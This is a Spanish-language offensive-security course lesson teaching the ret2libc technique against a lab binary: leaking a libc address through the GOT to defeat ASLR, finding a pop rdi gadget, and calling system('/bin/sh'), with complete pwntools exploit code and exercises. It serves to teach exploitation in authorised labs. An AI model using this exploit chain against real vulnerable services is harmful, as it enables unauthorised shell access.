

Clase 123 — Bypass de protecciones: ret2libc

Parte: 5 — Explotación de sistemas y binarios · Fuente: Anley et al., The Shellcoder's Handbook · docs
pwntools 🕒 Duración estimada: 130 min · Nivel: Avanzado

Objetivo

Evadir **NX/DEP** sin inyectar shellcode: en lugar de ejecutar datos, reutilizas código ya existente en libc. Construirás un exploit **ret2libc** que salta a `system("/bin/sh")` colocando el argumento en `RDI` mediante un gadget `pop rdi`. También verás cómo un **info leak** de la GOT derrota ASLR para conocer la base de libc. Es el primer bypass real de mitigaciones.

⚠️ **Ética:** exclusivamente en tus binarios de laboratorio o retos autorizados.

Resultados de aprendizaje

Al finalizar, el alumno podrá:

- 1. **Explicar** por qué ret2libc evade NX (reutiliza código ejecutable existente).
- 2. **Filtrar** la dirección de una función de libc vía GOT y calcular la **base**.
- 3. **Localizar** gadgets `pop rdi; ret` y la cadena `"/bin/sh"` en libc.
- 4. **Construir** la cadena de retorno que invoca `system("/bin/sh")`.
- 5. **Automatizar** todo con pwntools y su módulo `ELF / libc`.

Temas

#	Tema	Por qué importa
1	Reutilización de código vs shellcode	La clave para saltar NX
2	GOT/PLT	De dónde se filtra libc
3	Info leak	Derrota ASLR revelando una base
4	Cálculo de base de libc	<code>leak - offset_símbolo</code>
5	Gadget <code>pop rdi; ret</code>	Colocar el argumento en x64
6	<code>system("/bin/sh")</code>	Objetivo de la cadena
7	Alineación de stack	Evitar el crash de <code>movaps</code>
8	pwntools ELF/ROP	Automatizar direcciones y gadgets

Definiciones y características

- **ret2libc:** técnica que retorna a funciones de la librería C (p. ej. `system`) en vez de a shellcode. *Clave:* evade NX porque libc es ejecutable.
- **GOT (Global Offset Table):** tabla con direcciones resueltas de funciones de librería. *Clave:* leer una entrada revela una dirección real de libc → base.
- **Info leak:** primitiva que expone una dirección de memoria. *Clave:* imprescindible contra ASLR/PIE.
- **Base de libc:** `dirección_filtrada - offset_del_símbolo_en_libc`. *Clave:* con la base calculas cualquier símbolo (`system`, `/bin/sh`).
- **Gadget:** secuencia corta acabada en `ret` (p. ej. `pop rdi; ret`). *Clave:* en x64 se necesita para cargar `RDI` con el argumento.
- **one_gadget:** dirección en libc que ejecuta `execve("/bin/sh")` bajo ciertas condiciones. *Clave:* atajo cuando las restricciones se cumplen.

Herramientas y preparación

```
pip install pwntools
sudo apt install -y gdb
# ROPgadget o el buscador de pwntools
pip install ROPgadget
# one_gadget (opcional): gem install one_gadget
```

Usa un binario con NX activo pero **sin PIE ni canary** para el primer ret2libc, y ten a mano la libc exacta del sistema (`ldd ./bin`).

Laboratorio guiado

Entorno propio.

1. Audita el binario objetivo: `checksec ./ret2libc`. Debe mostrar `NX enabled`, `No PIE`, `No canary`.
2. Localiza gadgets y la cadena `/bin/sh`:

```
bash ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rdi ; ret" strings -a -t
x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
```

3. Fase 1 — **fuga:** usa un overflow para llamar a `puts(GOT['puts'])` y luego volver a `main`:

```
python from pwn import * elf = context.binary = ELF("./ret2libc") libc = ELF("/lib/x86_64-
linux-gnu/libc.so.6") p = process("./ret2libc") rop = ROP(elf) pop_rdi = rop.find_gadget(["pop
rdi", "ret"])[0] payload = b"A"*72 payload += p64(pop_rdi) + p64(elf.got["puts"]) payload +=
p64(elf.plt["puts"]) + p64(elf.symbols["main"]) p.sendline(payload) leak =
u64(p.recvline().strip().ljust(8, b"\x00")) libc.address = leak - libc.symbols["puts"] # base
de libc log.success(f"libc base = {hex(libc.address)}")
```

4. Fase 2 — **system("/bin/sh")** con la base ya conocida:

```
python ret = rop.find_gadget(["ret"])[0] # alineación payload = b"A"*72 payload +=
p64(pop_rdi) + p64(next(libc.search(b"/bin/sh"))) payload += p64(ret) +
p64(libc.symbols["system"]) p.sendline(payload) p.interactive() # deberías obtener una shell
```

5. Si no hay shell, verifica alineación (añade/quita el gadget `ret`) y que la libc sea la correcta.

6. Explora `one_gadget /lib/.../libc.so.6` como alternativa de una sola dirección.

Ejercicios

1. Repite el ataque calculando la base a partir de otra función filtrada (`printf`).
2. Sustituye la cadena de `system` por un `one_gadget` válido.
3. Adapta el exploit a 32 bits (argumentos por stack, sin `pop rdi`).
4. Explica por qué necesitas volver a `main` tras la fuga.
5. Automatiza la descarga de la libc correcta con `libc-database`.
6. Documenta qué falla si usas una libc de versión distinta.

Reto verificable

Entrega un exploit `ret2libc` que abra una shell interactiva contra tu binario NX (sin PIE/canary), calculando la base de libc en tiempo de ejecución.

Criterio de aceptación: `p.interactive()` te da una shell donde `id` responde, y el exploit funciona con ASLR **activado** gracias a la fuga.

Errores comunes

Síntoma / mensaje	Causa y cómo arreglar
Shell no aparece, crash en system	Stack desalineado; añade gadget <code>ret</code>
Base de libc absurda	Offset de símbolo de otra versión de libc; usa la correcta
Fuga da valor corto	Faltó <code>ljust(8, \x00)</code> al desempaquetar
<code>pop rdi</code> no encontrado	Búscalo en libc, no solo en el binario
Funciona sin ASLR pero no con él	La fuga falló; revisa fase 1

Preguntas frecuentes

 **¿Por qué `ret2libc` y no `shellcode`?** Porque NX impide ejecutar el stack; libc ya es ejecutable.

 **¿Necesito la libc exacta?** Sí: los offsets de `system` / `/bin/sh` dependen de la versión. Identifícala con `libc-database`.

 **¿`one_gadget` siempre funciona?** No: exige que ciertos registros valgan algo concreto; verifica sus constraints.

Referencias

- Anley et al. *The Shellcoder's Handbook*, 2e. Wiley.

- pwntools ROP — <https://docs.pwntools.com/en/stable/rop/rop.html>
- libc-database — <https://github.com/niklasb/libc-database>
- one_gadget — https://github.com/david942j/one_gadget



Material descargable

-  [Guía en PDF](#) — versión imprimible de esta clase.
-  [Presentación \(PPTX\)](#) — deck para proyectar en clase.



Siguiente clase

Clase 124 - Return-Oriented Programming (ROP)